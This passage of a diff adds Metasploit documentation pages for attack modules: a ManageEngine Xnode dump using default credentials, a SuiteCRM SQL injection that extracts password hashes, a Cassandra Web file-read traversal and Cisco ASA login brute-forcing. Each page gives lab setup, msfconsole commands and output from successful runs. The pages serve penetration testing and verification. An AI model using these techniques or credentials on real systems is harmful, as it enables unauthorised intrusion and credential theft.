Module options (auxiliary/gather/manageengine_adaudit_plus_xnode_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
CONFIG_FILE /root/github/manageengine/metasploit-framework/data/exploits/manageengine_xnode/CVE-2020-11532/adaudit_plus_xn no YAML file specifying the data repositories (tables) and fields (columns) to dump
ode_conf.yaml
DUMP_ALL false no Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.
PASSWORD custom_password yes Password used to authenticate to the Xnode server
RHOSTS 192.168.1.25 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 29118 yes The target port (TCP)
USERNAME atom yes Username used to authenticate to the Xnode server
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > run
[*] Running module against 192.168.1.25
[*] 192.168.1.25:29118 - Running automatic check ("set AutoCheck false" to disable)
[+] 192.168.1.25:29118 - The target appears to be vulnerable. Successfully authenticated to the Xnode server.
[*] 192.168.1.25:29118 - Obtained expected Xnode "de_healh" status: "GREEN".
[*] 192.168.1.25:29118 - Target is running Xnode version: "DataEngine-XNode 1.1.0 (1100)".
[*] 192.168.1.25:29118 - Obtained Xnode installation path: "C:\Program Files\ManageEngine\ADAudit Plus\apps\dataengine-xnode".
[*] 192.168.1.25:29118 - Data repository AdapFileAuditLog is empty.
[+] 192.168.1.25:29118 - Data repository AdapPowershellAuditLog contains 261 records with ID numbers between 1.0 and 303.0.
[*] 192.168.1.25:29118 - Data repository AdapSysMonAuditLog is empty.
[+] 192.168.1.25:29118 - Data repository AdapDNSAuditLog contains 722 records with ID numbers between 1.0 and 926.0.
[*] 192.168.1.25:29118 - Data repository AdapADReplicationAuditLog is empty.
[*] 192.168.1.25:29118 - Attempting to request 261 records for data repository AdapPowershellAuditLog between IDs 1 and 303. This could take a while...
[*] 192.168.1.25:29118 - Processed 25 queries (max 10 records per query) so far. The last queried record ID was 250. The max ID is 303...
[+] 192.168.1.25:29118 - Saving 261 records from the AdapPowershellAuditLog data repository to /root/.msf4/loot/20220610073738_default_192.168.1.25_xnode_powershell_099421.json
[*] 192.168.1.25:29118 - Attempting to request 722 records for data repository AdapDNSAuditLog between IDs 1 and 926. This could take a while...
[*] 192.168.1.25:29118 - Processed 25 queries (max 10 records per query) so far. The last queried record ID was 250. The max ID is 926...
[*] 192.168.1.25:29118 - Processed 50 queries (max 10 records per query) so far. The last queried record ID was 500. The max ID is 926...
[*] 192.168.1.25:29118 - Processed 75 queries (max 10 records per query) so far. The last queried record ID was 750. The max ID is 926...
[+] 192.168.1.25:29118 - Saving 722 records from the AdapDNSAuditLog data repository to /root/.msf4/loot/20220610073754_default_192.168.1.25_xnode_dnsaudit_775121.json
[*] Auxiliary module execution completed
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) >
```
@@ -0,0 +1,114 @@
## Vulnerable Application
The module exploits default admin credentials for the DataEngine Xnode server in DataSecurity Plus versions prior to 6.0.1 (6011)
in order to dump the contents of Xnode data repositories (tables), which may contain varying amounts of Active Directory information
including domain names, host names, usernames and SIDs. The module can also be used against patched
DataSecurity Plus versions if the correct credentials are provided.
The module's `check` method attempts to authenticate to the remote Xnode server. The default credentials are `atom`:`chegan`.
If the credentials are valid, the module will perform a few requests to the Xnode server to obtain information like the Xnode version.
This is mostly done as a sanity check to ensure the Xnode server is working as expected.
Next, the module will iterate over a list of known Xnode data repositories and perform several requests for each in order to:
- Check if the data repository is configured on the target
- Obtain the total number of records in the data repository
- Obtain both the lowest and the highest value for the ID field (column). These values will be used
to determine the range of possible records to be queried.
If a given data repository exists, the module uses the above information to dump the data repository contents.
The maximum number of records returned for a search query is 10. To overcome this, the module performs series of requests
using the `dr:/dr_search` action, while specifying the ID values for each record.
For example, if the lowest observed ID value is 15 and the highest is 41, the module will perform three requests:
1. A request for the records with ID values 15 to 24
2. A request for the records with ID values 25 to 34
3. A request for the records with ID values 35 to 41
Empty records are ignored.
To view the raw Xnode requests and responses, enter `set VERBOSE true` before running the module.
By default, the module dumps only the data repositories (tables) and fields (columns) specified in the configuration file.
The configuration file can be set via the `CONFIG_FILE` option, but this is not required because
a default config file exists at `data/exploits/manageengine_xnode/CVE-2020-11532/datasecurity_plus_xnode_conf.yaml`
that will be used if `CONFIG_FILE` is not set.
The configuration file is then also used to add labels to the values sent by Xnode in response to a query.
This means that for every value in the Xnode response, the module will add the corresponding field name to the results
before writing those to a JSON file in `~/.msf4/loot`.
It is also possible to use the `DUMP_ALL` option to obtain all data in all known data repositories without specifying data field names.
However, note when using this option the data won't be labeled.
This module has been successfully tested against DataSecurity Plus 6.0.1 (6010) running on Windows Server 2012 R2.
## Installation Information
Vulnerable versions of DataSecurity Plus are available [here](https://archives.manageengine.com/data-security/).
All versions from 6000 through 6011 are configured with default Xnode credentials. Note that testing against
vulnerable versions from the archives will make data enumeration impossible because the free trials for those
versions do not seem to allow ADAudit Plus to actually start collecting data that can then be accessed via Xnode.
However, apart from some configuration changes, Xnode functions the same way on patched versions as it does on vulnerable versions,
so it is possible to test the modules against patched versions as long as the correct credentials are provided.
A free 30-day trial of DataSecurity Plus can be downloaded [here](https://www.manageengine.com/data-security/download.html).
To install, just run the .exe and follow the instructions.
In order to configure a patched ManageEngine DataSecurity Plus instance for testing, follow these steps:
- Open the Xnode config file at `<install_dir>\apps\dataengine-xnode\conf\dataengine-xnode.conf`
- Note down the username and password
- Insert the following line:
```
xnode.connector.accept_remote_request = true
```
To launch DataSecurity Plus, run Command Prompt as administrator and run: `<install_dir>\bin\run.bat`
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/gather/manageengine_datasecurity_plus_xnode_enum`
3. Do: `set RHOSTS [IP]`
4. Do: `run`
## Options
### CONFIG_FILE
YAML File specifying the data repositories (tables) and fields (columns) to dump.
### DUMP_ALL
Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.
## Scenarios
### ManageEngine DataSecurity Plus 6.0.1 (6010) on Windows Server 2012
```
msf6 auxiliary(gather/manageengine_datasecurity_plus_xnode_enum) > options
Module options (auxiliary/gather/manageengine_datasecurity_plus_xnode_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
CONFIG_FILE /home/wynter/dev/metasploit-framework/data/exploits/manageeng no YAML file specifying the data repositories (tables) and fields (columns) to dump
ine_xnode/CVE-2020-11532/datasecurity_plus_xnode_conf.yaml
DUMP_ALL false no Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.
PASSWORD chegan yes Password used to authenticate to the Xnode server
RHOSTS 192.168.1.41 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 29119 yes The target port (TCP)
USERNAME atom yes Username used to authenticate to the Xnode server
msf6 auxiliary(gather/manageengine_datasecurity_plus_xnode_enum) > run
[*] Running module against 192.168.1.41
[*] 192.168.1.41:29119 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.1.41:29119 - Target seems to be Xnode.
[+] 192.168.1.41:29119 - The target appears to be vulnerable. Successfully authenticated to the Xnode server.
[*] 192.168.1.41:29119 - Obtained expected Xnode "de_healh" status: "GREEN".
[*] 192.168.1.41:29119 - Target is running Xnode version: "XNODE_1_0_0".
[*] 192.168.1.41:29119 - Obtained Xnode installation path: "C:\Program Files (x86)\ManageEngine\DataSecurity Plus\apps\dataengine-xnode".
[*] 192.168.1.41:29119 - Data repository DSPEmailAuditAttachments is empty.
[*] 192.168.1.41:29119 - Data repository DSPEmailAuditReport is empty.
[*] 192.168.1.41:29119 - Data repository DSPEndpointAuditReport is empty.
[*] 192.168.1.41:29119 - Data repository DSPEndpointClassificationReport is empty.
[*] 192.168.1.41:29119 - Data repository DSPEndpointIncidentReport is empty.
[*] 192.168.1.41:29119 - Data repository DspEndpointPrinterAuditReport is empty.
[*] 192.168.1.41:29119 - Data repository DspEndpointWebAuditReport is empty.
[*] 192.168.1.41:29119 - Data repository DSPFileAnalysisAlerts is empty.
[*] 192.168.1.41:29119 - Data repository RAAlertHistory is empty.
[*] 192.168.1.41:29119 - Data repository RAIncidents is empty.
[*] 192.168.1.41:29119 - Data repository RAViolationRecords is empty.
[*] Auxiliary module execution completed
```
@@ -0,0 +1,195 @@
## Description
This module exploits an authenticated SQL injection in SuiteCRM installations below or equal to version 7.12.5. The
vulnerability allows for union and blind boolean based SQLi to be exploited in order to collect usernames and password
hashes from the SuiteCRM database.
## Vulnerable Application
The SQLi exploited by this module depends on the existence of at least one 'Account' being registered in SuiteCRM.
There should be one in SuiteCRM by default for the administrative user. If you want to test multiple users,
browse to `/index.php?module=Users&action=index` and then click the `Create New User` button on the left side
of the screen. Then enter a username and a last name. Then click the `password` tab, and enter a password for
the user, then confirm this password and click the `Save` button to create the user.
### Docker compose
**Prerequisites:** [Docker](https://docs.docker.com/get-docker/) and
[Docker Compose](https://docs.docker.com/compose/install/) must be
installed first.
To create a SuiteCRM 7.12.5 Docker container, first create a new folder,
then save the following content as `docker-compose.yml`:
```
version: '2'
services:
mariadb:
image: docker.io/bitnami/mariadb:10.6
environment:
# ALLOW_EMPTY_PASSWORD is recommended only for development.
- ALLOW_EMPTY_PASSWORD=yes
- MARIADB_USER=bn_suitecrm
- MARIADB_DATABASE=bitnami_suitecrm
- MARIADB_PASSWORD=bitnami123
volumes:
- 'mariadb_data:/bitnami/mariadb'
suitecrm:
image: docker.io/bitnami/suitecrm:7.12.5
ports:
- '80:8080'
- '443:8443'
environment:
- SUITECRM_DATABASE_HOST=mariadb
- SUITECRM_DATABASE_PORT_NUMBER=3306
- SUITECRM_DATABASE_USER=bn_suitecrm
- SUITECRM_DATABASE_NAME=bitnami_suitecrm
- SUITECRM_DATABASE_PASSWORD=bitnami123
# ALLOW_EMPTY_PASSWORD is recommended only for development.
- ALLOW_EMPTY_PASSWORD=yes
volumes:
- 'suitecrm_data:/bitnami/suitecrm'
depends_on:
- mariadb
volumes:
mariadb_data:
driver: local
suitecrm_data:
driver: local
```
Finally, in the same directory as the `docker-compose.yml` file, run: `docker-compose up -d`.
Note that the default username to log in will be `user` and the password will be `bitnami`. If you
want to change these, put the following lines under the `environment` section:
```
environment:
- SUITECRM_USERNAME=my_user
- SUITECRM_PASSWORD=my_password
```
The above would set the username to `my_user` and the password to `my_password`.
For more information on the docker compose file, refer to
https://github.com/bitnami/containers/tree/main/bitnami/suitecrm.
### Install from source
Source code can be found here: [SuiteCRM v7.12.5](https://github.com/salesagility/SuiteCRM/archive/refs/tags/v7.12.5.tar.gz)
Instructions on installing from source can be found here: [Installation Guide](https://docs.suitecrm.com/admin/installation-guide/downloading-installing/)
The following setup was installed on Ubuntu 20.04:
1. Setup and install MySQL:
1. `sudo apt update`
1. `sudo apt install mysql-server`
1. `sudo systemctl start mysql.service`
1. `sudo mysql` (open the mysql prompt)
1. `mysql> ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'password';` (change the password
of the root user)
1. Install Apache
1. `sudo apt install apache2`
1. `sudo systemctl enable apache2`
1. `sudo systemctl start apache2`
1. Install php and its dependencies
1. `sudo apt -y install php7.4`
1. `sudo apt install -y php-cli php-common php-curl php-mbstring php-gd php-mysql php-soap php-xml php-imap php-intl php-opcache php-json php-zip`
1. `sudo apt install composer`
1. `composer install`
1. Setup and install SuiteCRM 7.12.5
1. `wget https://github.com/salesagility/SuiteCRM/archive/refs/tags/v7.12.5.tar.gz`
1. `gunzip v7.12.5.tar.gz`
1. `tar -xvf v7.12.5.tar`
1. `sudo cp -r SuiteCRM-7.12.5/. /var/www/html`
1. `cd /var/www/html`
1. `sudo chown -R www-data:www-data .`
1. `sudo chmod -R 755 .`
1. `sudo chmod -R 775 custom modules themes data upload`
1. `sudo chmod 775 config_override.php 2>/dev/null`
1. Navigate to http://localhost/install.php and follow the installation wizard to complete the install
## Verification Steps
1. Start up metasploit
1. Do: `use auxiliary/gather/suite_crm_export_sqli`
1. Do: `set RHOSTS [IP]`
1. Configure a user and password by setting `USERNAME` and `PASSWORD`.
1. Do: `run`
## Scenarios
### SuiteCRM 7.12.5 Bitnami Docker Image
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/suite_crm_export_sqli
msf6 auxiliary(gather/suite_crm_export_sqli) > show options
Module options (auxiliary/gather/suite_crm_export_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
COUNT 3 no Number of users to enumerate
PASSWORD yes Password for user
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasp
loit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
USERNAME yes Username of user
VHOST no HTTP server virtual host
Auxiliary action:
Name Description
---- -----------
Dump credentials Dumps usernames and passwords from the users table
msf6 auxiliary(gather/suite_crm_export_sqli) > set USERNAME user
USERNAME => user
msf6 auxiliary(gather/suite_crm_export_sqli) > set PASSWORD bitnami
PASSWORD => bitnami
msf6 auxiliary(gather/suite_crm_export_sqli) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(gather/suite_crm_export_sqli) > check
[*] Authenticating as user
[+] Authenticated as: user
[*] Version detected: 7.12.5
[+] 127.0.0.1:80 - The target is vulnerable.
msf6 auxiliary(gather/suite_crm_export_sqli) > run
[*] Running module against 127.0.0.1
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Authenticating as user
[+] Authenticated as: user
[*] Version detected: 7.12.5
[+] The target is vulnerable.
[*] Fetching Users, please wait...
SuiteCRM User Names
===================
Username
--------
testuser
user
[*] Fetching Hashes, please wait...
[+] (1/2) Username : testuser ; Hash : $2y$10$YFr9.QNPVDXoLKv5FQo7d.UIRBSMTnPGDS2LLHsuGSojAA2Q5kELa
[+] (2/2) Username : user ; Hash : $2y$10$O83wcCVEfY7GKo//dbQwwOFOevfLFnhpP4d9n98HmGM2YPxJZqMhO
SuiteCRM User Credentials
=========================
Username Hash
-------- ----
testuser $2y$10$YFr9.QNPVDXoLKv5FQo7d.UIRBSMTnPGDS2LLHsuGSojAA2Q5kELa
user $2y$10$O83wcCVEfY7GKo//dbQwwOFOevfLFnhpP4d9n98HmGM2YPxJZqMhO
[*] Auxiliary module execution completed
msf6 auxiliary(gather/suite_crm_export_sqli) >
```
@@ -0,0 +1,100 @@
## Vulnerable Application
[Cassandra Web](https://rubygems.org/gems/cassandra-web) is an interface for Apache Cassandra using Ruby, Event-machine, AngularJS,
Server-Sent-Events and DataStaxRuby driver for Apache Cassandra.
This module has been tested successfully on Cassandra Web versions:
* cassandra-web-0.5.0 on Debian 10.11 (buster) with ruby 2.5.5p157 and Apache Cassandra 3.11.13
### Description
This module exploits an unauthenticated directory traversal vulnerability in Cassandra Web
'Cassandra Web' version 0.5.0 and earlier, allowing arbitrary file read with the web server privileges.
This vulnerability occured due to the disabled Rack::Protection module.
This web service listens on TCP port 3000 by default on all network interface.
Source and Installers:
* [Source Code Repository](https://github.com/avalanche123/cassandra-web)
* [Installers](https://rubygems.org/gems/cassandra-web)
Ruby installation:
```
apt install ruby-full -y
```
Gem installation:
```
gem install cassandra-web
```
Apache Cassandra Installation:
```
cat << EOF > /etc/apt/sources.list.d/cassandra.list
deb https://www.apache.org/dist/cassandra/debian 311x main
EOF
cat << EOF > /etc/apt/sources.list.d/adoptopenjdk.list
deb https://adoptopenjdk.jfrog.io/adoptopenjdk/deb/ buster main
EOF
wget -q -O - https://www.apache.org/dist/cassandra/KEYS | apt-key add -
wget -qO - https://adoptopenjdk.jfrog.io/adoptopenjdk/api/gpg/key/public | apt-key add -
apt update && apt install adoptopenjdk-8-hotspot cassandra -y
```
Run Cassandra Web:
```
cassandra-web
```
## Verification Steps
1. Do: `use auxiliary/scanner/http/cassandra_web_file_read.rb`
2. Do: `set RHOSTS [ips]`
3. Do: `run`
## Options
## Scenarios
### Cassandra Web 0.5.0 Linux Debian 10.11 (Ruby 2.5.5p157 and Apache Cassandra 3.11.13)
```
msf6 > use auxiliary/scanner/http/cassandra_web_file_read
msf6 auxiliary(scanner/http/cassandra_web_file_read) > set RHOSTS 192.168.56.1
RHOSTS => 192.168.56.1
msf6 auxiliary(scanner/http/cassandra_web_file_read) > run
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Cassandra Web Detected
[*] Downloading file...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ntp:x:107:115::/nonexistent:/usr/sbin/nologin
cassandra:x:108:116:Cassandra database,,,:/var/lib/cassandra:/usr/sbin/nologin
[+] File saved in: /home/git/.msf4/loot/20220802185716_default_192.168.56.1_cassandra.web.tr_160962.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,132 @@
## Vulnerable Application
### Description
This module scans for the Cisco ASA ASDM landing page and performs login brute-force
to identify valid credentials.
### Installation
Acquire a Cisco ASA device or virtual machine. For this description we will use
Cisco Adaptive Security Virtual Appliance (ASAv) VMWare Package 9.18.1 (asav9-18-1.zip):
* https://software.cisco.com/download/home/286119613/type/280775065/release/9.18.1
The [official installation guide can be found here](https://www.cisco.com/c/en/us/td/docs/security/asa/asa98/asav/quick-start-book/asav-98-qsg/asav-vmware.html)
But for completeness, the following will guide the user to a full testing configuration.
To start we'll make ASDM remotely accessible:
1. Unzip the package
1. Import `asav-esxi.ovf` in VMWare Fusion (or your VMWare product of choice).
1. Select the `ASAv5 - 1 Core / 2 GB (100 Mbps)` deployment option.
1. After the import is complete, assign `Network Adapter` (1 is implied) the desired
interface (e.g. I'll use `Wi-Fi` for my setup).
1. Start the virtual machine
1. Allow GRUB to boot the first option (this should happen twice)
1. When provided with a command prompt (`ciscoasa>`) type `en`.
1. Set an enable password (e.g. `labpass1`)
1. Enter the following in the command line interface:
1. `conf t`
1. `No`
1. `interface GigabitEthernet 0/0`
1. `nameif outside`
1. Assign a static ip address (note the assigned address should make sense within the
context of you lab. For example, my lab network is 10.9.49.0/24): `ip address 10.9.49.201 255.255.255.0`
1. `no shutdown`
1. `exit`
1. Set the default route (the last IP should point to your lab router): `route outside 0.0.0.0 0.0.0.0 10.9.49.1`
1. Verify you can ping an outside host (e.g. `ping 8.8.8.8`)
1. `http server enable`
1. `http 0.0.0.0 0.0.0.0 outside`
1. `write`
1. `exit`
You should now be able to reach the ASA's web server remotely. From a remote host, execute the following `curl`
command to the ASA to verify as much:
```
albinolobster@ubuntu:~$ curl -kv https://10.9.49.201
* Trying 10.9.49.201:443...
* TCP_NODELAY set
...
> GET / HTTP/1.1`
> Host: 10.9.49.201
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Date: Tue, 21 Jun 2022 13:52:33 UTC
< Strict-Transport-Security: max-age=31536000
< X-XSS-Protection: 1
< Connection: close
< Location: /admin/public/index.html
<
* Closing connection 0
* TLSv1.2 (OUT), TLS alert, close notify (256):
```
You should now be able to test the credentials `<Blank>:labpass1` and `enable_15:labpass1`. To
add additional users to test with, let's use ASDM from a Windows machine:
1. Connect to your ASA's web interface (e.g. `https://10.9.49.201/admin/public/index.html`).
1. Click "Install ASDM Launcher"
1. Enter creds `blank`:labpass1 (where blank is nothing and labpass1 is your enable password)
1. Install the downloaded `dm-launcher.msi` (before 7.18.1 it will be unsigned)
1. If Java isn't installed, install Java 1.8 (current at time of writing is 8 Update 333): https://www.java.com/en/download/
1. Start the ASDM Launcher via `C:\Program Files (x86)\Cisco Systems\ASDM\run.bat`
1. Enter your ASAv's IP address (10.9.249.201)
1. Enter a blank username
1. Enter the enable password (`labpass1`)
1. Go to `Configuration -> Device Management -> Users/AAA -> User Accounts`
1. Click `Add`
1. Set the username to `cisco`
1. Set the password to `cisco123`
1. Keep the default settings for `Access Restrictions` (Full access with privilege level of 2).
1. Hit `OK`
1. Hit `Apply`
You should now be able to log in to the ASDM using `cisco`:`cisco123`.
## Verification Steps
* Follow the above instructions to configure ASAv, ASDM, and add the `cisco` user for testing
* Do: `use auxiliary/scanner/http/cisco_asa_asdm_bruteforce`
* Do: `set RHOST <ip>`
* Do: `set VERBOSE false`
* Do: `run`
* You should see output indicating `cisco:cisco123` was successfully used for login.
## Options
### USERPASS_FILE
File containing users and passwords separated by space, one pair per line.
### USER_FILE
File containing users, one per line.
### PASS_FILE
File containing passwords, one per line
## Scenarios
### ASAv 9.18.1 with ASDM enabled and the `cisco:cisco123` creds set.
```
msf6 > use auxiliary/scanner/http/cisco_asa_asdm_bruteforce
msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > set RHOST 10.9.49.201
RHOST => 10.9.49.201
msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > set VERBOSE false
VERBOSE => false
msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > run
[*] The remote target appears to host Cisco ASA ASDM. The module will continue.
[*] Starting login brute force...
[+] SUCCESSFUL LOGIN - "cisco":"cisco123"
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) >
```
@@ -0,0 +1,196 @@
## Vulnerable Application
### Description
This module scans for Cisco ASA Clientless SSL VPN (WebVPN) web login portals and
performs login brute-force to identify valid credentials.
### Installation
Acquire a Cisco ASA device or virtual machine. For this description we will use
Cisco Adaptive Security Virtual Appliance (ASAv) VMWare Package 9.18.1 (asav9-18-1.zip):
* https://software.cisco.com/download/home/286119613/type/280775065/release/9.18.1
The [official installation guide can be found here](https://www.cisco.com/c/en/us/td/docs/security/asa/asa98/asav/quick-start-book/asav-98-qsg/asav-vmware.html)
But for completeness, the following will guide the user to a full testing configuration.
To start we'll make ASDM remotely accessible:
1. Unzip the package
1. Import `asav-esxi.ovf` in VMWare Fusion (or your VMWare product of choice).
1. Select the `ASAv5 - 1 Core / 2 GB (100 Mbps)` deployment option.
1. After the import is complete assign `Network Adapter` (1 is implied) the desired
interface (e.g. I'll use `Wi-Fi` for my setup).
1. Start the virtual machine
1. Allow GRUB to boot the first option (this should happen twice)
1. When provided with a command prompt (`ciscoasa>`) type `en`.
1. Set an enable password (e.g. `labpass1`)
1. Enter the following in the command line interface:
1. `conf t`
1. `No`
1. `interface GigabitEthernet 0/0`
1. `nameif outside`
1. Assign a static ip address (note the assigned address should make sense within the
context of you lab. For example, my lab network is 10.9.49.0/24): `ip address 10.9.49.201 255.255.255.0`
1. `no shutdown`
1. `exit`
1. Set the default route (the last IP should point to your lab router): `route outside 0.0.0.0 0.0.0.0 10.9.49.1`
1. Verify you can ping an outside host (e.g. `ping 8.8.8.8`)
1. `http server enable`
1. `http 0.0.0.0 0.0.0.0 outside`
1. `write`
1. `exit`
You should now be able to reach the ASA's web server remotely. From a remote host, execute the following `curl`
command to the ASA to verify as much:
```
albinolobster@ubuntu:~$ curl -kv https://10.9.49.201
* Trying 10.9.49.201:443...
* TCP_NODELAY set
...
> GET / HTTP/1.1`
> Host: 10.9.49.201
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Date: Tue, 21 Jun 2022 13:52:33 UTC
< Strict-Transport-Security: max-age=31536000
< X-XSS-Protection: 1
< Connection: close
< Location: /admin/public/index.html
<
* Closing connection 0
* TLSv1.2 (OUT), TLS alert, close notify (256):
```
The next part of the installation will require a Windows machine. From your Windows machine:
1. Connect to your ASA's web interface (e.g. `https://10.9.49.201/admin/public/index.html`).
1. Click "Install ASDM Launcher"
1. Enter creds `blank`:labpass1 (where blank is nothing and labpass1 is your enable password)
1. Install the downloaded `dm-launcher.msi` (before 7.18.1 it will be unsigned)
1. If Java isn't installed, intall Java 1.8 (current at time of writing is 8 Update 333): https://www.java.com/en/download/
1. Start the ASDM Launcher via `C:\Program Files (x86)\Cisco Systems\ASDM\run.bat`
1. Enter your ASAv's IP address (10.9.249.201)
1. Enter a blank username
1. Enter the enable password (`labpass1`)
Now to enable the webvpn interface from ASDM:
1. Go to `Configuration -> Remote Access VPN -> Clientless SSL VPN Access -> Connection Profiles`
1. In the `Access Interfaces` view, click the radio button to `Allow Access` from the `outside` interface
1. Hit apply
Verify that the Clientless SSL VPN is now enabled by navigating to the SSL VPN login on your ASA. For example,
navigate to `https://10.9.49.201/+CSCOE+/logon.html`.
Next, we'll create a Clientless SSL VPN user for brute-force testing. From ASDM:
1. Go to `Configuration -> Device Management -> Users/AAA -> User Accounts`
1. Click `Add`
1. Keep the default username (`user1`)
1. Enter and confirm a password (e.g. `user1`)
1. Set the privilege level to 0 (I'm not sure this step is actually required but)
1. Select the `No ASDM, SSH, Telnet, or Console access` radio
1. Hit `OK`
1. Hit `Apply`
Finally, we'll enable logging into the SSL VPN portal:
1. Go to `Configuration -> Device Management -> Users/AAA -> Dynamic Access Policies`
1. Select the `DfltAccessPolicy` and click `Edit`
1. Select `Access Method` tab
1. Click on the `Web-Portal` radio button
You should now be able to log in to the SSL VPN web portal using `user1`:`user1`.
## Verification Steps
* Follow the above instructions to configure ASAv, Clientless SSL VPN, and add a user for testing
* Add the user to `data/wordlists/http_default_userpass.txt` as `user1 user1`
* Do: `use auxiliary/scanner/http/cisco_asa_clientless_vpn`
* Do: `set RHOST <ip>`
* Do: `set VERBOSE false`
* Do: `run`
* You should see output indicating `user1:user1` was successfully used for login.
## Options
### GROUP
The connection profile to use. By default this is blank, but administrators can configure various different
profiles that users can select from the drop down menu at the top of the login page. The alias in the drop
down is *not* the value of `GROUP`. You need to extract it from the HTML.
For example, my administrator has a profile named `TunnelGroup1` using the alias `alias1`. The drop down menu
will show `alias1` but `TunnelGroup1` is the required value. In the page's HTML you'll find:
```
<option value="TunnelGroup1" selected>alias1</option>
```
To use `TunnelGroup1` you'd `set GROUP TunnelGroup1`.
### USERPASS_FILE
File containing users and passwords separated by space, one pair per line.
### USER_FILE
File containing users, one per line.
### PASS_FILE
File containing passwords, one per line
## Scenarios
### ASAv 9.18.1 with Clientless SSL VPN enabled and the `user1:user1` creds set.
Simply using the default HTTP username and password lists and `user1:user1` added to
`data/wordlists/http_default_userpass.txt`.
```
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > use auxiliary/scanner/http/cisco_asa_clientless_vpn
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > set VERBOSE false
VERBOSE => false
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > set RHOST 10.9.49.201
RHOST => 10.9.49.201
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > run
[*] The remote target appears to host Cisco SSL VPN Service. The module will continue.
[*] Starting login brute force...
[+] SUCCESSFUL LOGIN - "user1":"user1"
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) >
```
## ASAv 9.18.1 with Clientless SSL VPN enabled and the `user1:user1` on the `TunnelGroup1` Connection Profile
```
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > use auxiliary/scanner/http/cisco_asa_clientless_vpn
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > set VERBOSE false
VERBOSE => false
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > set RHOST 10.9.49.201
RHOST => 10.9.49.201
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > run
[*] The remote target appears to host Cisco SSL VPN Service. The module will continue.
[*] Starting login brute force...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > set GROUP TunnelGroup1
GROUP => TunnelGroup1
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > run
[*] The remote target appears to host Cisco SSL VPN Service. The module will continue.
[*] Starting login brute force...
[+] SUCCESSFUL LOGIN - "user1":"user1"
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) >
```
@@ -0,0 +1,74 @@
## Vulnerable Application
BACnet is a Data Communication Protocol for Building Automation and Control Networks.
